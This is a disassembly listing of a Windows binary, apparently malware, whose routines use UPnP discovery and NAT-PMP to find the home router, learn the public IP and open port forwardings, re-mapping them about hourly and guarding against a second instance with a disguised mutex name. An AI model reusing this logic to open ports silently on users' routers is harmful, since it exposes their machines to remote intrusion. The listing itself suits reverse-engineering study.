var_200C = dword ptr -200Ch var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h arg_C = dword ptr 14h arg_10 = word ptr 18h arg_14 = word ptr 1Ch push ebp mov ebp, esp mov eax, 2014h call sub_449B11 push ebx push esi push edi movzx eax, [ebp+arg_10] push eax movzx eax, [ebp+arg_14] push eax push offset aSEnvelopeXmlns ; "<s:Envelope\r\nxmlns:s=\"http://schemas.xm"... lea eax, [ebp+var_2008] push eax call sub_4496A1 add esp, 10h lea eax, [ebp+var_2008] push eax call sub_449A31 pop ecx mov [ebp+var_200C], eax cmp [ebp+arg_0], 0 jz short loc_444C25 push [ebp+var_200C] movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_C] push offset aMPostSHttp1_1H ; "M-POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTEN"... lea eax, [ebp+var_1008] push eax call sub_4496A1 add esp, 18h jmp short loc_444C4A ; --------------------------------------------------------------------------- loc_444C25: ; CODE XREF: sub_444BB7+45j push [ebp+var_200C] movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_C] push offset aPostSHttp1_1Ho ; "POST %s HTTP/1.1\r\nHOST: %s:%i\r\nCONTENT-"... lea eax, [ebp+var_1008] push eax call sub_4496A1 add esp, 18h loc_444C4A: ; CODE XREF: sub_444BB7+6Cj lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push eax call sub_449A71 pop ecx pop ecx movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push offset aHttpAddmapRequ ; "HTTP AddMap request: [%s:%i]...\n" call sub_449641 add esp, 0Ch call sub_44367A mov edi, eax test eax, eax jz loc_444E1C push [ebp+arg_4] call sub_4490E9 movzx edx, [ebp+arg_8] push edx push eax push edi call sub_443888 add esp, 0Ch test eax, eax jnz short loc_444CAC push edi call sub_4437E3 pop ecx xor eax, eax jmp loc_444E1C ; --------------------------------------------------------------------------- loc_444CAC: ; CODE XREF: sub_444BB7+E5j lea eax, [ebp+var_1008] push eax call sub_449A31 pop ecx mov [ebp+var_4], eax push [ebp+var_4] lea eax, [ebp+var_1008] push eax push edi call sub_443AA8 add esp, 0Ch cmp eax, [ebp+var_4] jz short loc_444CE2 push edi call sub_4437E3 pop ecx xor eax, eax jmp loc_444E1C ; --------------------------------------------------------------------------- loc_444CE2: ; CODE XREF: sub_444BB7+11Bj push edi call sub_444883 pop ecx push 10000h call sub_443369 pop ecx mov [ebp+var_8], eax push 0FFFFh push [ebp+var_8] push edi call sub_443A34 add esp, 0Ch mov [ebp+var_4], eax test eax, eax jnz short loc_444D42 push edi call sub_443863 pop ecx mov [ebp+var_2014], eax cmp eax, 0FFFFh jle short loc_444D2D mov [ebp+var_2014], 0FFFFh loc_444D2D: ; CODE XREF: sub_444BB7+16Aj push [ebp+var_2014] push [ebp+var_8] push edi call sub_4439FD add esp, 0Ch mov [ebp+var_4], eax loc_444D42: ; CODE XREF: sub_444BB7+156j push [ebp+var_4] movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push offset aHttpAddmapRe_0 ; "HTTP AddMap request [%s:%i]: received: "... call sub_449641 add esp, 10h cmp [ebp+var_4], 1 jge short loc_444D77 push [ebp+var_8] call sub_443397 pop ecx push edi call sub_4437E3 pop ecx xor eax, eax jmp loc_444E1C ; --------------------------------------------------------------------------- loc_444D77: ; CODE XREF: sub_444BB7+1A7j push offset asc_40F612 ; "\n" push [ebp+var_8] call sub_449AA1 pop ecx pop ecx mov [ebp+var_2010], eax test eax, eax jnz short loc_444DA4 push [ebp+var_8] call sub_443397 pop ecx push edi call sub_4437E3 pop ecx xor eax, eax jmp short loc_444E1C ; --------------------------------------------------------------------------- loc_444DA4: ; CODE XREF: sub_444BB7+1D7j mov ebx, [ebp+var_8] jmp short loc_444DAA ; --------------------------------------------------------------------------- loc_444DA9: ; CODE XREF: sub_444BB7+1FBj inc ebx loc_444DAA: ; CODE XREF: sub_444BB7+1F0j mov al, [ebx] test al, al jz short loc_444DB4 cmp al, 20h jnz short loc_444DA9 loc_444DB4: ; CODE XREF: sub_444BB7+1F7j jmp short loc_444DB7 ; --------------------------------------------------------------------------- loc_444DB6: ; CODE XREF: sub_444BB7+208j inc ebx loc_444DB7: ; CODE XREF: sub_444BB7:loc_444DB4j mov al, [ebx] test al, al jz short loc_444DC1 cmp al, 20h jz short loc_444DB6 loc_444DC1: ; CODE XREF: sub_444BB7+204j xor esi, esi jmp short loc_444DD5 ; --------------------------------------------------------------------------- loc_444DC5: ; CODE XREF: sub_444BB7+22Aj lea esi, [esi+esi*4] add esi, esi movsx eax, byte ptr [ebx] sub eax, 30h add esi, eax inc ebx jmp short loc_444DE3 ; --------------------------------------------------------------------------- loc_444DD5: ; CODE XREF: sub_444BB7+20Cj mov al, [ebx] test al, al jz short loc_444DE3 cmp al, 30h jl short loc_444DE3 cmp al, 39h jle short loc_444DC5 loc_444DE3: ; CODE XREF: sub_444BB7+21Cj ; sub_444BB7+222j ... push esi movzx eax, [ebp+arg_8] push eax push [ebp+arg_4] push offset aHttpAddmapRe_1 ; "HTTP AddMap request [%s:%i]: code: %i.."... call sub_449641 add esp, 10h cmp esi, 2 jz short loc_444E12 push [ebp+var_8] call sub_443397 pop ecx push edi call sub_4437E3 pop ecx xor eax, eax jmp short loc_444E1C ; --------------------------------------------------------------------------- loc_444E12: ; CODE XREF: sub_444BB7+245j push edi call sub_4437E3 pop ecx xor eax, eax inc eax loc_444E1C: ; CODE XREF: sub_444BB7+C6j ; sub_444BB7+F0j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_444BB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_444E23 proc near ; CODE XREF: DMN1:004458F7p ; DMN1:00446E41p var_18A0 = dword ptr -18A0h var_189C = byte ptr -189Ch var_188C = dword ptr -188Ch var_1888 = dword ptr -1888h var_1884 = dword ptr -1884h var_187E = byte ptr -187Eh var_183E = word ptr -183Eh var_183C = dword ptr -183Ch var_1838 = dword ptr -1838h var_1834 = dword ptr -1834h var_1830 = dword ptr -1830h var_182C = dword ptr -182Ch var_1828 = dword ptr -1828h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_181C = word ptr -181Ch var_181A = word ptr -181Ah var_1818 = dword ptr -1818h var_1809 = byte ptr -1809h var_1409 = byte ptr -1409h var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, 18A0h call sub_449B11 push ebx push esi push edi mov [ebp+var_1820], 3E8h cmp [ebp+arg_0], 0 jnz short loc_444E4C mov ax, [ebp+arg_4] mov [ebp+arg_0], ax loc_444E4C: ; CODE XREF: sub_444E23+1Fj push 10h push 0 lea eax, [ebp+var_181C] push eax call sub_4499B1 add esp, 0Ch mov [ebp+var_181C], 2 push offset a239_255_255_25 ; "239.255.255.250" call sub_4490E9 mov [ebp+var_1818], eax push 76Ch call sub_4490B9 mov [ebp+var_181A], ax mov [ebp+var_404], 1 push 11h push 2 push 2 call sub_44909B mov [ebp+var_408], eax and [ebp+var_1828], 0 mov [ebp+var_1824], 1 push offset a239_255_255_25 ; "239.255.255.250" call sub_4490E9 mov [ebp+var_1828], eax push 8 lea eax, [ebp+var_1828] push eax push 5 push 0 mov eax, [ebp+var_408] push eax call sub_4490A1 test eax, eax jge short loc_444EED push offset aShit ; "shit!\n" call sub_449641 pop ecx loc_444EED: ; CODE XREF: sub_444E23+BDj lea eax, [ebp+var_181C] mov [ebp+var_182C], eax push 10h push [ebp+var_182C] mov eax, [ebp+var_408] push eax call sub_4490C5 cmp eax, 0FFFFFFFFh jnz loc_4453A3 push offset aXbind___ ; "xbind...\n" call sub_449641 pop ecx jmp loc_4453A3 ; --------------------------------------------------------------------------- loc_444F26: ; CODE XREF: sub_444E23+587j mov [ebp+var_1884], 10h push [ebp+var_404] push offset aSendingIupnpDi ; "sending IUPnP discovery request #%i...\n"... call sub_449641 pop ecx pop ecx push offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."... call sub_449A31 pop ecx push 10h lea edx, [ebp+var_181C] push edx push 0 push eax push offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."... mov eax, [ebp+var_408] push eax call sub_449107 test eax, eax jge short loc_444F81 mov eax, [ebp+var_408] push eax call sub_4490A7 xor eax, eax jmp loc_4453BE ; --------------------------------------------------------------------------- loc_444F81: ; CODE XREF: sub_444E23+149j push [ebp+var_404] push offset aSetsockoptIupn ; "setsockopt IUPnP discovery request #%i."... call sub_449641 pop ecx pop ecx push 4 lea eax, [ebp+var_1820] push eax push 1006h push 0FFFFh mov eax, [ebp+var_408] push eax call sub_4490A1 test eax, eax jge short loc_444FC9 mov eax, [ebp+var_408] push eax call sub_4490A7 xor eax, eax jmp loc_4453BE ; --------------------------------------------------------------------------- loc_444FC9: ; CODE XREF: sub_444E23+191j push [ebp+var_404] push offset aReceivingIupnp ; "receiving IUPnP discovery request #%i.."... call sub_449641 pop ecx pop ecx lea eax, [ebp+var_1884] push eax lea eax, [ebp+var_189C] push eax push 0 push 1000h lea eax, [ebp+var_1409] push eax mov eax, [ebp+var_408] push eax call sub_44910D test eax, eax jge short loc_445033 call sub_449113 cmp eax, 274Ch jnz short loc_445020 cmp [ebp+var_404], 3 jnz loc_44539D loc_445020: ; CODE XREF: sub_444E23+1EEj mov eax, [ebp+var_408] push eax call sub_4490A7 xor eax, eax jmp loc_4453BE ; --------------------------------------------------------------------------- loc_445033: ; CODE XREF: sub_444E23+1E2j mov eax, [ebp+var_1884] mov [ebp+eax+var_1409], 0 push [ebp+var_404] push offset aIupnpDiscovery ; "IUPnP discovery request #%i -- checking"... call sub_449641 pop ecx pop ecx push offset aSchemasUpnpOrg ; "schemas-upnp-org:service:WANIPConnectio"... lea eax, [ebp+var_1409] push eax call sub_444832 pop ecx pop ecx test eax, eax jnz short loc_445081 push [ebp+var_404] push offset aIupnpDiscove_0 ; "IUPnP discovery request #%i: bad (0)..."... call sub_449641 pop ecx pop ecx jmp loc_44539D ; --------------------------------------------------------------------------- loc_445081: ; CODE XREF: sub_444E23+245j push offset aLocation ; "location" lea eax, [ebp+var_1409] push eax call sub_444832 pop ecx pop ecx mov ebx, eax test ebx, ebx jnz short loc_4450B2 push [ebp+var_404] push offset aIupnpDiscove_1 ; "IUPnP discovery request #%i: bad (1)..."... call sub_449641 pop ecx pop ecx jmp loc_44539D ; --------------------------------------------------------------------------- loc_4450B1: ; CODE XREF: sub_444E23+297j inc ebx loc_4450B2: ; CODE XREF: sub_444E23+275j mov al, [ebx] test al, al jz short loc_4450BC cmp al, 3Ah jnz short loc_4450B1 loc_4450BC: ; CODE XREF: sub_444E23+293j cmp byte ptr [ebx], 0 jz short loc_4450C5 inc ebx jmp short loc_4450C5 ; --------------------------------------------------------------------------- loc_4450C4: ; CODE XREF: sub_444E23+2AAj inc ebx loc_4450C5: ; CODE XREF: sub_444E23+29Cj ; sub_444E23+29Fj mov al, [ebx] test al, al jz short loc_4450CF cmp al, 20h jz short loc_4450C4 loc_4450CF: ; CODE XREF: sub_444E23+2A6j lea eax, [ebp+var_1809] mov [ebp+var_1834], eax jmp short loc_4450EE ; --------------------------------------------------------------------------- loc_4450DD: ; CODE XREF: sub_444E23+2D3j mov edx, [ebp+var_1834] mov al, [ebx] mov [edx], al inc [ebp+var_1834] inc ebx loc_4450EE: ; CODE XREF: sub_444E23+2B8j mov al, [ebx] test al, al jz short loc_4450F8 cmp al, 20h jg short loc_4450DD loc_4450F8: ; CODE XREF: sub_444E23+2CFj mov edx, [ebp+var_1834] mov byte ptr [edx], 0 lea eax, [ebp+var_1809] push eax call sub_449A31 pop ecx test eax, eax jnz short loc_445129 push [ebp+var_404] push offset aIupnpDiscove_2 ; "IUPnP discovery request #%i: bad (2)..."... call sub_449641 pop ecx pop ecx jmp loc_44539D ; --------------------------------------------------------------------------- loc_445129: ; CODE XREF: sub_444E23+2EDj mov [ebp+var_183E], 0 lea eax, [ebp+var_1809] push eax push offset aLocationS ; "location: <%s>\n" call sub_449641 pop ecx pop ecx lea eax, [ebp+var_183E] push eax lea eax, [ebp+var_187E] push eax lea eax, [ebp+var_1809] push eax call sub_4448CA add esp, 0Ch mov [ebp+var_183C], eax test eax, eax jnz short loc_445183 push [ebp+var_404] push offset aIupnpDiscove_3 ; "IUPnP discovery request #%i: bad (3)..."... call sub_449641 pop ecx pop ecx jmp loc_44539D ; --------------------------------------------------------------------------- loc_445183: ; CODE XREF: sub_444E23+347j push offset aUrnSchemasUpnp ; "urn:schemas-upnp-org:service:WANIPConne"... push [ebp+var_183C] call sub_444832 pop ecx pop ecx mov [ebp+var_188C], eax test eax, eax jnz short loc_4451B0 push [ebp+var_183C] call sub_443397 pop ecx jmp loc_44539D ; --------------------------------------------------------------------------- loc_4451B0: ; CODE XREF: sub_444E23+37Aj mov eax, [ebp+var_183C] mov [ebp+var_1830], eax loc_4451BC: ; CODE XREF: sub_444E23+3CBj push offset aService_0 ; "<service>" push [ebp+var_1830] call sub_444832 pop ecx pop ecx mov [ebp+var_18A0], eax test eax, eax jz short loc_4451E0 cmp eax, [ebp+var_1830] jbe short loc_4451E2 loc_4451E0: ; CODE XREF: sub_444E23+3B3j jmp short loc_4451F0 ; --------------------------------------------------------------------------- loc_4451E2: ; CODE XREF: sub_444E23+3BBj mov eax, [ebp+var_18A0] mov [ebp+var_1830], eax jmp short loc_4451BC ; --------------------------------------------------------------------------- loc_4451F0: ; CODE XREF: sub_444E23:loc_4451E0j push offset aService ; "</service>" push [ebp+var_1830] call sub_444832 pop ecx pop ecx mov [ebp+var_1888], eax test eax, eax jnz short loc_44521D push [ebp+var_183C] call sub_443397 pop ecx jmp loc_44539D ; --------------------------------------------------------------------------- loc_44521D: ; CODE XREF: sub_444E23+3E7j push offset aControlurl ; "<controlURL>" push [ebp+var_1830] call sub_444832 pop ecx pop ecx mov esi, eax test esi, esi jz short loc_44523D cmp esi, [ebp+var_1888] jb short loc_44524E loc_44523D: ; CODE XREF: sub_444E23+410j push [ebp+var_183C] call sub_443397 pop ecx jmp loc_44539D ; --------------------------------------------------------------------------- loc_44524E: ; CODE XREF: sub_444E23+418j push 400h push 0 lea eax, [ebp+var_400] push eax call sub_4499B1 add esp, 0Ch jmp short loc_445267 ; --------------------------------------------------------------------------- loc_445266: ; CODE XREF: sub_444E23+44Cj inc esi loc_445267: ; CODE XREF: sub_444E23+441j mov al, [esi] test al, al jz short loc_445271 cmp al, 3Eh jnz short loc_445266 loc_445271: ; CODE XREF: sub_444E23+448j cmp byte ptr [esi], 0 jz short loc_445277 inc esi loc_445277: ; CODE XREF: sub_444E23+451j cmp byte ptr [esi], 0 jnz short loc_44528D push [ebp+var_183C] call sub_443397 pop ecx jmp loc_44539D ; --------------------------------------------------------------------------- loc_44528D: ; CODE XREF: sub_444E23+457j and [ebp+var_1838], 0 jmp short loc_4452AC ; --------------------------------------------------------------------------- loc_445296: ; CODE XREF: sub_444E23+491j mov eax, [ebp+var_1838] mov dl, [esi] mov [ebp+eax+var_400], dl inc [ebp+var_1838] inc esi loc_4452AC: ; CODE XREF: sub_444E23+471j mov al, [esi] test al, al jz short loc_4452B6 cmp al, 3Ch jnz short loc_445296 loc_4452B6: ; CODE XREF: sub_444E23+48Dj mov eax, [ebp+var_1838] mov [ebp+eax+var_400], 0 push offset aHttp ; "http://" lea eax, [ebp+var_400] push eax call sub_444832 pop ecx pop ecx mov edi, eax test edi, edi jnz short loc_4452E6 lea edi, [ebp+var_400] jmp short loc_445316 ; --------------------------------------------------------------------------- loc_4452E5: ; CODE XREF: sub_444E23+4CBj inc edi loc_4452E6: ; CODE XREF: sub_444E23+4B8j mov al, [edi] test al, al jz short loc_4452F0 cmp al, 3Ah jnz short loc_4452E5 loc_4452F0: ; CODE XREF: sub_444E23+4C7j cmp byte ptr [edi], 0 jz short loc_4452F9 inc edi jmp short loc_4452F9 ; --------------------------------------------------------------------------- loc_4452F8: ; CODE XREF: sub_444E23+4DEj inc edi loc_4452F9: ; CODE XREF: sub_444E23+4D0j ; sub_444E23+4D3j mov al, [edi] test al, al jz short loc_445303 cmp al, 2Fh jz short loc_4452F8 loc_445303: ; CODE XREF: sub_444E23+4DAj cmp byte ptr [edi], 0 jz short loc_44530C inc edi jmp short loc_44530C ; --------------------------------------------------------------------------- loc_44530B: ; CODE XREF: sub_444E23+4F1j inc edi loc_44530C: ; CODE XREF: sub_444E23+4E3j ; sub_444E23+4E6j mov al, [edi] test al, al jz short loc_445316 cmp al, 2Fh jnz short loc_44530B loc_445316: ; CODE XREF: sub_444E23+4C0j ; sub_444E23+4EDj movzx eax, [ebp+arg_4] push eax movzx eax, [ebp+arg_0] push eax push edi movzx eax, [ebp+var_183E] push eax lea eax, [ebp+var_187E] push eax push 0 call sub_444BB7 add esp, 18h test eax, eax jnz short loc_44537A movzx eax, [ebp+arg_4] push eax movzx eax, [ebp+arg_0] push eax lea eax, [ebp+var_400] push eax movzx eax, [ebp+var_183E] push eax lea eax, [ebp+var_187E] push eax push 1 call sub_444BB7 add esp, 18h test eax, eax jnz short loc_44537A push [ebp+var_183C] call sub_443397 pop ecx jmp short loc_44539D ; --------------------------------------------------------------------------- loc_44537A: ; CODE XREF: sub_444E23+519j ; sub_444E23+547j push [ebp+var_404] push offset aIupnpDiscove_4 ; "IUPnP discovery request #%i: ok.\n" call sub_449641 pop ecx pop ecx mov eax, [ebp+var_408] push eax call sub_4490A7 xor eax, eax inc eax jmp short loc_4453BE ; --------------------------------------------------------------------------- loc_44539D: ; CODE XREF: sub_444E23+1F7j ; sub_444E23+259j ... inc [ebp+var_404] loc_4453A3: ; CODE XREF: sub_444E23+EDj ; sub_444E23+FEj cmp [ebp+var_404], 3 jl loc_444F26 mov eax, [ebp+var_408] push eax call sub_4490A7 xor eax, eax loc_4453BE: ; CODE XREF: sub_444E23+159j ; sub_444E23+1A1j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_444E23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4453C5 proc near ; CODE XREF: sub_445434+16p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 push ebx push esi and [ebp+var_4], 0 xor esi, esi push 3Ch call sub_443369 pop ecx mov ebx, eax test eax, eax jz short loc_44542E push 0 lea eax, [ebp+var_4] push eax push ebx call sub_449119 cmp eax, 7Ah jnz short loc_445409 push ebx call sub_443397 pop ecx mov eax, [ebp+var_4] push eax call sub_443369 pop ecx mov ebx, eax test eax, eax jz short loc_44542E loc_445409: ; CODE XREF: sub_4453C5+2Bj push 0 lea eax, [ebp+var_4] push eax push ebx call sub_449119 test eax, eax jnz short loc_445425 mov eax, [ebx] mov [ebp+var_8], eax test eax, eax jz short loc_445425 mov esi, [ebx+10h] loc_445425: ; CODE XREF: sub_4453C5+52j ; sub_4453C5+5Bj push ebx call sub_443397 pop ecx mov eax, esi loc_44542E: ; CODE XREF: sub_4453C5+1Aj ; sub_4453C5+42j pop esi pop ebx mov esp, ebp pop ebp retn sub_4453C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445434 proc near ; CODE XREF: DMN1:004458A2p ; DMN1:00446DE6p var_C0 = dword ptr -0C0h var_BC = byte ptr -0BCh var_B8 = dword ptr -0B8h var_AC = word ptr -0ACh var_AA = word ptr -0AAh var_A8 = dword ptr -0A8h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = word ptr -94h var_92 = word ptr -92h var_90 = dword ptr -90h var_84 = dword ptr -84h var_80 = byte ptr -80h var_7F = byte ptr -7Fh var_78 = byte ptr -78h push ebp mov ebp, esp sub esp, 0C0h push ebx push esi push edi mov [ebp+var_9C], 0FAh call sub_4453C5 mov [ebp+var_84], eax test eax, eax jz loc_44563C mov [ebp+var_94], 2 mov eax, [ebp+var_84] mov [ebp+var_90], eax push 14E7h call sub_4490B9 mov [ebp+var_92], ax mov eax, [ebp+var_84] mov [ebp+var_98], eax push eax call sub_449101 push eax push offset aDefaultGateway ; "default gateway: [%s]\n" call sub_449641 pop ecx pop ecx xor ebx, ebx inc ebx push 11h push 2 push 2 call sub_44909B mov esi, eax push 10h push 0 lea eax, [ebp+var_AC] push eax call sub_4499B1 add esp, 0Ch mov [ebp+var_AC], 2 mov eax, [ebp+var_84] mov [ebp+var_A8], eax push 14E7h call sub_4490B9 mov [ebp+var_AA], ax lea edi, [ebp+var_AC] push 10h push edi push esi call sub_4490C5 jmp loc_44562B ; --------------------------------------------------------------------------- loc_4454FF: ; CODE XREF: sub_445434+1FAj mov [ebp+var_C0], 10h push ebx push offset aSendingNatPmpR ; "sending NAT-PMP request #%i...\n" call sub_449641 pop ecx pop ecx mov [ebp+var_80], 0 mov [ebp+var_7F], 0 push 10h lea eax, [ebp+var_94] push eax push 0 push 2 lea eax, [ebp+var_80] push eax push esi call sub_449107 test eax, eax jge short loc_445546 push esi call sub_4490A7 xor eax, eax jmp loc_44563C ; --------------------------------------------------------------------------- loc_445546: ; CODE XREF: sub_445434+103j push ebx push offset aSetsockoptNatP ; "setsockopt NAT-PMP request #%i...\n" call sub_449641 pop ecx pop ecx push 4 lea eax, [ebp+var_9C] push eax push 1006h push 0FFFFh push esi call sub_4490A1 test eax, eax jge short loc_44557D push esi call sub_4490A7 xor eax, eax jmp loc_44563C ; --------------------------------------------------------------------------- loc_44557D: ; CODE XREF: sub_445434+13Aj push ebx push offset aReceivingNatPm ; "receiving NAT-PMP request #%i...\n" call sub_449641 pop ecx pop ecx lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_BC] push eax push 0 push 0Ch lea eax, [ebp+var_80] push eax push esi call sub_44910D test eax, eax jge short loc_4455C5 call sub_449113 cmp eax, 274Ch jnz short loc_4455BB cmp ebx, 9 jnz short loc_445624 loc_4455BB: ; CODE XREF: sub_445434+180j push esi call sub_4490A7 xor eax, eax jmp short loc_44563C ; --------------------------------------------------------------------------- loc_4455C5: ; CODE XREF: sub_445434+174j push ebx push offset aNatPmpRequestI ; "NAT-PMP request #%i - ok\n" call sub_449641 pop ecx pop ecx mov eax, [ebp+var_90] cmp [ebp+var_B8], eax jnz short loc_445624 push 4 lea eax, [ebp+var_78] push eax lea eax, [ebp+var_84] push eax call sub_449A11 add esp, 0Ch mov eax, [ebp+var_84] mov [ebp+var_98], eax push eax call sub_449101 push eax push ebx push offset aNatPmpReques_0 ; "NAT-PMP request #%i - public IP: [%s]\n" call sub_449641 add esp, 0Ch push esi call sub_4490A7 mov eax, [ebp+var_84] jmp short loc_44563C ; --------------------------------------------------------------------------- loc_445624: ; CODE XREF: sub_445434+185j ; sub_445434+1AAj inc ebx shl [ebp+var_9C], 1 loc_44562B: ; CODE XREF: sub_445434+C6j cmp ebx, 0Ah jl loc_4454FF push esi call sub_4490A7 xor eax, eax loc_44563C: ; CODE XREF: sub_445434+23j ; sub_445434+10Dj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_445434 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445643 proc near ; CODE XREF: DMN1:004458BEp ; DMN1:00446E01p var_C0 = dword ptr -0C0h var_BC = byte ptr -0BCh var_B8 = dword ptr -0B8h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = word ptr -0A4h var_A2 = word ptr -0A2h var_A0 = dword ptr -0A0h var_94 = dword ptr -94h var_90 = word ptr -90h var_8E = word ptr -8Eh var_8C = dword ptr -8Ch var_80 = byte ptr -80h var_7F = byte ptr -7Fh var_7E = byte ptr -7Eh var_7D = byte ptr -7Dh var_7C = byte ptr -7Ch var_7A = byte ptr -7Ah var_78 = byte ptr -78h var_76 = byte ptr -76h var_75 = byte ptr -75h arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = word ptr 10h push ebp mov ebp, esp sub esp, 0C0h push ebx push esi push edi mov [ebp+var_94], 0FAh mov [ebp+var_90], 2 mov eax, [ebp+arg_0] mov [ebp+var_8C], eax push 14E7h call sub_4490B9 mov [ebp+var_8E], ax mov eax, [ebp+arg_0] mov [ebp+var_A8], eax push eax call sub_449101 push eax push offset aRouterIpS ; "router ip: [%s]\n" call sub_449641 pop ecx pop ecx xor esi, esi inc esi push 11h push 2 push 2 call sub_44909B mov edi, eax push 10h push 0 lea eax, [ebp+var_A4] push eax call sub_4499B1 add esp, 0Ch mov [ebp+var_A4], 2 mov eax, [ebp+arg_0] mov [ebp+var_A0], eax push 14E7h call sub_4490B9 mov [ebp+var_A2], ax lea eax, [ebp+var_A4] mov [ebp+var_AC], eax push 10h push [ebp+var_AC] push edi call sub_4490C5 jmp loc_445873 ; --------------------------------------------------------------------------- loc_4456FD: ; CODE XREF: sub_445643+233j mov [ebp+var_C0], 10h push esi push offset aSendingNatPmpF ; "sending NAT-PMP fwd request #%i...\n" call sub_449641 pop ecx pop ecx mov [ebp+var_80], 0 mov [ebp+var_7F], 2 mov [ebp+var_7E], 0 mov [ebp+var_7D], 0 lea ebx, [ebp+var_7C] movzx eax, [ebp+arg_4] push eax call sub_4490B9 mov [ebx], ax lea ebx, [ebp+var_7A] movzx eax, [ebp+arg_8] push eax call sub_4490B9 mov [ebx], ax lea ebx, [ebp+var_78] mov word ptr [ebx], 0E10h mov [ebp+var_76], 0 mov [ebp+var_75], 0 push 10h lea eax, [ebp+var_90] push eax push 0 push 0Ch lea eax, [ebp+var_80] push eax push edi call sub_449107 test eax, eax jge short loc_44577C push edi call sub_4490A7 xor eax, eax jmp loc_445884 ; --------------------------------------------------------------------------- loc_44577C: ; CODE XREF: sub_445643+12Aj push esi push offset aSetsockoptNa_0 ; "setsockopt NAT-PMP fwd request #%i...\n" call sub_449641 pop ecx pop ecx push 4 lea eax, [ebp+var_94] push eax push 1006h push 0FFFFh push edi call sub_4490A1 test eax, eax jge short loc_4457B3 push edi call sub_4490A7 xor eax, eax jmp loc_445884 ; --------------------------------------------------------------------------- loc_4457B3: ; CODE XREF: sub_445643+161j push esi push offset aReceivingNat_0 ; "receiving NAT-PMP fwd request #%i...\n" call sub_449641 pop ecx pop ecx lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_BC] push eax push 0 push 10h lea eax, [ebp+var_80] push eax push edi call sub_44910D test eax, eax jge short loc_4457FE call sub_449113 cmp eax, 274Ch jnz short loc_4457F1 cmp esi, 9 jnz short loc_44586C loc_4457F1: ; CODE XREF: sub_445643+1A7j push edi call sub_4490A7 xor eax, eax jmp loc_445884 ; --------------------------------------------------------------------------- loc_4457FE: ; CODE XREF: sub_445643+19Bj push esi push offset aNatPmpFwdReque ; "NAT-PMP fwd request #%i - ok\n" call sub_449641 pop ecx pop ecx mov eax, [ebp+var_8C] cmp [ebp+var_B8], eax jnz short loc_44586C cmp [ebp+var_7F], 82h jnz short loc_44586C lea ebx, [ebp+var_7E] cmp word ptr [ebx], 0 jnz short loc_44586C lea ebx, [ebp+var_78] movzx eax, [ebp+arg_4] push eax call sub_4490B9 cmp [ebx], ax jnz short loc_44586C lea ebx, [ebp+var_76] movzx eax, word ptr [ebx] push eax call sub_4490D7 movzx eax, ax push eax push esi push offset aNatPmpReques_1 ; "NAT-PMP request #%i - port: [%i]\n" call sub_449641 add esp, 0Ch push edi call sub_4490A7 movzx eax, word ptr [ebx] push eax call sub_4490B9 movzx eax, ax jmp short loc_445884 ; --------------------------------------------------------------------------- loc_44586C: ; CODE XREF: sub_445643+1ACj ; sub_445643+1D4j ... inc esi shl [ebp+var_94], 1 loc_445873: ; CODE XREF: sub_445643+B5j cmp esi, 0Ah jl loc_4456FD push edi call sub_4490A7 xor eax, eax loc_445884: ; CODE XREF: sub_445643+134j ; sub_445643+16Bj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_445643 endp ; --------------------------------------------------------------------------- push ebx push esi push edi loc_44588E: ; CODE XREF: DMN1:loc_44591Cj xor ebx, ebx inc ebx loc_445891: ; CODE XREF: DMN1:004458A0j push 0EA60h call dword_411D00 inc ebx cmp ebx, 3Fh jl short loc_445891 call sub_445434 mov edi, eax mov eax, dword_411010 mov si, ax movzx eax, si push eax movzx eax, word ptr dword_41100C push eax push edi call sub_445643 add esp, 0Ch mov si, ax test si, si jz short loc_4458EE movzx eax, si cmp eax, dword_411010 jz short loc_4458EE movzx eax, si mov dword_411010, eax push 1 push offset dword_411024 call dword_411D04 loc_4458EE: ; CODE XREF: DMN1:004458CCj ; DMN1:004458D7j movzx eax, word ptr dword_41100C push eax push eax call sub_444E23 pop ecx pop ecx test eax, eax jz short loc_44591C mov eax, dword_41100C cmp dword_411010, eax jz short loc_44591C push 1 push offset dword_411024 call dword_411D04 loc_44591C: ; CODE XREF: DMN1:00445900j ; DMN1:0044590Dj jmp loc_44588E ; --------------------------------------------------------------------------- pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_445925 proc near ; CODE XREF: sub_448AD1+77p push ebx cmp dword_411018, 0 jz short loc_445933 xor eax, eax jmp short loc_445977 ; --------------------------------------------------------------------------- loc_445933: ; CODE XREF: sub_445925+8j xor ebx, ebx push offset a_win32__wnss_s ; "_win32__wnss_sdm__" push 0 push 0 call dword_411D08 mov dword_411018, eax cmp dword_411018, 0 jz short loc_445975 call dword_411CE8 cmp eax, 0B7h jnz short loc_445975 xor ebx, ebx inc ebx push dword_411018 call dword_411CF8 and dword_411018, 0 loc_445975: ; CODE XREF: sub_445925+2Bj ; sub_445925+38j mov eax, ebx loc_445977: 